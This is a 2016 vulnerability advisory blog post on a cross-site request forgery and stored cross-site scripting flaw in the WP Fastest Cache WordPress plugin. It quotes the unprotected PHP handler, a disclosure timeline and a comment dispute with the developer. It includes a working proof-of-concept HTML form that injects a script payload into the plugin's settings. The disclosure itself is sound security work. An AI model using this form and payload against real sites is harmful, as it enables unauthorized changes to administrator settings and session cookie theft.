20 Jun 2016

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in WP Fastest Cache

Recently in discussing Wordfence’s problematic practice of disclosing vulnerabilities, but only releasing partial details, in what appears to attempt to try to profit by being the only firewall provider who can protect against these, we mentioned that this practice makes it harder for other to review the vulnerabilities. That is important since we frequently find that vulnerabilites haven’t actually been fixed, they have only been partially fixed, or that the disclosure of one vulnerability will point the way to other vulnerabilities. When it comes Wordfence’s disclosures that concern already wasn’t a hypothetical. The first time they did that type of disclosure, with the Yoast SEO plugin, we found two related vulnerabilites that they had missed (which still have yet to be fixed).

Two more recent disclosures by Wordfence disclosed this way involved the WP Fastest Cache plugin. As we discussed in our post looking at the vulnerabilites, both vulnerabilites involved a situation where AJAX functions was accessible to any logged in users instead of just Administrator level users. This was fixed by checking if the the user making the request have the ability to manage_options.

Once you can see the details of the vulnerabilites that Wordfence withheld it becomes clear that there is another issue. Even without the check on the user’s capability, someone who cannot access the relevant pages shouldn’t be able to make the changes in question due to protection against cross-site request forgery (CSRF) since they would not have access to the relevant nonce. So either the CSRF protection was missing or there was some other problem with it. No change was made to resolve that part of the issue in version 0.5.5.8, so that means that if you can get Administrator level user to visit a web page you control you can cause them to change setting’s for the plugin unintentionally.

Instead of looking at the problem with one the vulnerable functions mentioned in Wordfence’s post, let’s take a look at yet another one. This time one that permits cross-site scripting (XSS) to occur. It involves the Cache Timeout settings, which are saved through the wpfc_save_exclude_pages_callback() function. Here is the function code 0.8.5.8 in:

386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
public function wpfc_save_exclude_pages_callback(){
	if(current_user_can('manage_options')){
		if(isset($_POST["rules"])){
			$data = json_encode($_POST["rules"]);
 
			if(get_option("WpFastestCacheExclude")){
				update_option("WpFastestCacheExclude", $data);
			}else{
				add_option("WpFastestCacheExclude", $data, null, "yes");
			}
		}else{
			delete_option("WpFastestCacheExclude");
		}
 
		echo json_encode(array("success" => true));
		exit;
	}else{
		wp_die("Must be admin");
	}
}

You can see that the manage_option capability is checked, but there is no nonce check. You can also see that no sanitization is done on the user input, $_POST[“rules”].

When the values are outputted on the plugin’s admin page, /admin.php?page=wpfastestcacheoptions, through the file /inc/admin.php they are not escaped:

1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
$schedules_rules = array();
$crons = _get_cron_array();
 
foreach ((array)$crons as $cron_key => $cron_value) {
	foreach ( (array) $cron_value as $hook => $events ) {
		if(preg_match("/^wp\_fastest\_cache(.*)/", $hook, $id)){
			if(!$id[1] || preg_match("/^\_(\d+)$/", $id[1])){
				foreach ( (array) $events as $event_key => $event ) {
					$tmp_array = array();
 
					if($id[1]){
						// new cronjob which is (wp_fastest_cache_d+)
						$tmp_std = json_decode($event["args"][0]);
 
						$tmp_array = array("schedule" => $event["schedule"],
										   "prefix" => $tmp_std->prefix,
										   "content" => $tmp_std->content);
					}else{
						// old cronjob which is (wp_fastest_cache)
						$tmp_array = array("schedule" => $event["schedule"],
										   "prefix" => "all",
										   "content" => "all");
					}
				}
 
				array_push($schedules_rules, $tmp_array);
			}
		}
	}
}
 
echo "WpFcTimeout.schedules = ".json_encode($this->cron_add_minute(array())).";";
 
if(count($schedules_rules) > 0){
	echo "WpFcTimeout.init(".json_encode($schedules_rules).");";
}else{
	echo "WpFcTimeout.init();";
}

We contacted the developer a week about this but they did seem to grasp the issue. They kept mentioning they already are checking if the user can manage_options, which doesn’t impact a cross-site request forgery issue, as we tried to explain to them. So the issue hasn’t been fixed yet.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the Cache Options page, /wp-admin/admin.php?page=wpfastestcacheoptions.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="wpfc_save_timeout_pages" />
<input type="hidden" name="rules[0][prefix]" value="exact" />
<input type="hidden" name="rules[0][content]" value=':"><script>alert(document.cookie);</script>' />
<input type="hidden" name="rules[0][schedule]" value="everyminute" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 6/13/2016 – Developer notified.
  • 6/20/2016 – WordPress.org Plugin Directory notified.
  • 6/20/2016 – Removed from Plugin Directory.
  • 6/21/2016 – Version 0.5.5.9 released, which fixes vulnerability.

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Plugin Security Scorecard Grade for WP Fastest Cache

Checked on February 28, 2025
B

See issues causing the plugin to get less than A+ grade

5 thoughts on “Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in WP Fastest Cache

  1. I am the developer of WP Fastest Cache. Yes, we talked about this issue. I said that if there is vulnerability, you can hack my site but you couldn’t hack it because as you said that the user must be admin. If the user is admin, why does he need to change the settings via this way??? He can change every settings via wp-admin panel.

    • As we mentioned to you before, a cross-site request forgery (CSRF) vulnerability involves causing someone else to take an action they didn’t intend to make. So an admin wouldn’t intentionally be making changes this way, it would be an attacker causing them to.

      • Are you kidding me??? I check the request with current_user_can(‘manage_options’). It means that Nobody can do anything except admins.

        No need talking a lot… In the mail, I said you;
        “I tried and it returns 0 and it does not change anything. Can you hack my site which is http://www.mod*****.com/ please?”

        and you tried but you could not do anything. You couldn’t change the settings. How can you still be talking about the so called vulnerability!

        • Again, a cross-site request forgery (CSRF) vulnerability involves causing someone else to take an action they didn’t intend to make. Since the request would be coming from an Administrator in this case, who would have the manage_options capability, that check doesn’t impact this type of issue.

          We provided you with the proof of concept to exploit this, which is also included in the post, so anyone can check for themselves that the vulnerability actually existed.

  2. Clearly the plugin author has no idea of what CSRF is or how to exploit it.

    But the worst is his attitute “there’s nothing wrong there”.

    That’s a bit sad :/

Leave a Reply

Your email address will not be published.